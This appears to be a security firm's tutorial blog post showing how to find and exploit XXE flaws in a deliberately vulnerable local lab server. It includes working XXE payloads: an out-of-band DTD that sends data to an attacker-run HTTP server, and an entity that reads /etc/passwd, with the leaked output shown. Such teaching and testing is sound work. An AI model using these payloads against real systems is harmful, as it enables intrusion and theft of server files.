What Are the Risks of XML? – Blog Series – Part #03
In this third post of the XML series, we would like to walk you through a practical example and show you how to find XML security vulnerabilities in a service. The security analysis is carried out in the following three steps:
- Check the web application for the use of XML
- Test possible vulnerabilities of the web application
- Execute XML-based attack
In this example, we use a project that provides a small web server that is intentionally vulnerable to XML External Entities (XXE) attacks. To learn how to detect XXE attacks, we pretend not to have any prior knowledge about vulnerabilities in the web server.
If you lack background knowledge on XXE attacks, we recommend reading the first post of this blog series.
Setting up the Test Environment
To follow the steps of the security analysis yourself, or to try out attacks yourself, you can run the vulnerable web server on localhost:5000 using the following steps. You can skip this section if you do not want to skip the hands-on part.
- Install and set up Docker.
- Clone or download and unzip the repository https://github.com/Hackmanit/xxelab.
- In the downloaded folder, run the following commands in the console:
docker build -t xxelab .
docker run -it --rm -p 127.0.0.1:5000:80 xxelab
Now, in order to see the messages that are exchanged between the browser and the server, a proxy must be set up. We use Burp Suite in this example. Information on setting up and using Burp Suite can be found here.
1. Check the Web Application for the Use of XML
Once the server is running and we open the address localhost:5000 in a browser, we are presented with a website where we can register (see Figure 1).
Without any prior knowledge of how the service works, we first have to find out where and to what extent XML is used in this application. In the second part of the blog series, we described which technologies typically use XML. In this case, the service belongs to the category "AJAX and Fetch API" described there.
The Vulnerable Server – Screenshot of the website served by the test environment. (Figure 1)
Therefore, we start Burp Suite and listen to the connection.
Now when we hit the "Create Account" button, we will see a request in Burp Suite similar to the one shown here:
POST /process.php HTTP/1.1
Host: localhost:5000
Content-Length: 122
[...]
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>Hackmanit GmbH</name>
<tel>+49 (0)234 / 54459996</tel>
<email>mail@hackmanit.de</email>
<password>Your specialist for web security and cryptography</password>
</root>
Here you can quickly see that the XML format is used to transfer the new account’s data.
2. Test Possible Vulnerabilities on the Web Application
Now, we want to find out if the server is vulnerable to XML-based attacks. This has its own challenges because you can't always directly verify whether a service supports the DTD syntax or not. In some cases, you don't get direct feedback, so it's unclear how a message was processed by the server.
Case 1: Direct Feedback
When playing around a little with the "Create Account" function, we will realize that the content of the email field is always displayed in an error message below the button (see Figure 2).
Error Message – The application reflects the content of the email field in an error message. (Figure 2)
This means that the application provides a direct feedback about the content of the parsed XML file. This fact can be exploited to check whether the DTD syntax is processed or not.
If we replace the original XML content of the request with the following content using Burp Suite, we can see if the entity mail in the email element is evaluated.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY mail "test"> ]> <root> <name>Hackmanit GmbH</name> <tel>+49 (0)234 / 54459996</tel> <email>&mail;</email> <password>Your specialist for web security and cryptography</password> </root>
And indeed, the output of the application reads:
Sorry, test is already registered!
Case 2: No Direct Feedback
If the application does not provide a direct result, you have to try to get the result in another way. For this purpose, an attacker can make the service send a request to its own web server (out-of-band attack). This own web server records all incoming requests and can thus be used to get the desired feedback. As an example, an out-of-band attack can be executed with the following steps:
- Save the file
parameterEntity_oob.dtdwith the following content:
<!ENTITY % file "test OOB XXE"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000/?%file;'>"> %all;
- Start a web server that makes the file available, for example with
python -m http.server
- Replace the XML content of the request in Burp Suite with the following
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root SYSTEM "http://localhost:8000/parameterEntity_oob.dtd"> <root> <name>Hackmanit GmbH</name> <tel> +49 (0)234 / 54459996</tel> <email>mail@hackmanit.de</email> <password>&send;</password> </root>
If this type of attack is possible, the application sends a request to the Python HTTP server. This is not the case in our example. This and alternative attack methods can be found, for example, in XXE Cheat Sheets [1].
3. Execute XML-based Attack
Now that we know where and to what extent the application uses XML and we know how to get feedback, we can perform an attack. For example, we can extract internal files from the server using an XXE attack.
Using the following manipulated request to the server, we can read the contents of the /etc/passwd file, for example:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY mail SYSTEM 'file:///etc/passwd'> ]> <root> <name>Hackmanit GmbH</name> <tel>+49 (0)234 / 54459996</tel> <email>&mail;</email> <password>Your specialist for web security and cryptography</password> </root>
The file contents are output by the application in the familiar error message:
Sorry, root:x:0:0:root:/root:/bin/bash [...] is already registered!
Conclusion
This case study has demonstrated how an XXE attack on a vulnerable web application can be executed. The impact of a successful attack depends on the application in question, but can be severe, as illustrated by the example. Consequently, any application that processes data in XML format must consider the XXE attack vector and ensure that the application is not vulnerable to it. In general, it is recommended to deactivate the processing of document type definitions (and thus XML entities) by the XML parser, unless DTDs are explicitly required.
Part #04 – Discover Security Vulnerabilities in SOAP Web Services
Having established a foundation in the recognition of XML usage and initial attacks, the subsequent post will focus on the SOAP protocol previously referenced. An example implementation will be set up and analyzed for its vulnerabilities.
Blog Series – What Are the Risks of XML? – All parts at a glance
Part #01 – XML – An Overview
Part #02 – Where Is XML Used in Practice?
Part #03 – Finding XXE Attacks in 3 Steps
Part #04 – Discover Security Vulnerabilities in SOAP Web Services
Follow us on X (Twitter) or Linkedin and don't miss any of our future blog posts.
Sources
Our Experts Develop the Optimal Solution for You
XML Parsing – XML Security – SOAP
Are you faced with the decision of how to securely process XML and optimally protect your customer data? Or are you already using XML and wondering if your implementation is secure?
We will be glad to advise you; contact us for a no-obligation initial consultation. We support you with the following services and solutions:
IT Security Consulting | Training | Penetration Tests
Don't hesitate and find your way to secure APIs with us. We look forward to supporting you with your projects.
Your Contact for XML Security and SOAP
Prof. Dr. Juraj Somorovsky
juraj.somorovsky@hackmanit.de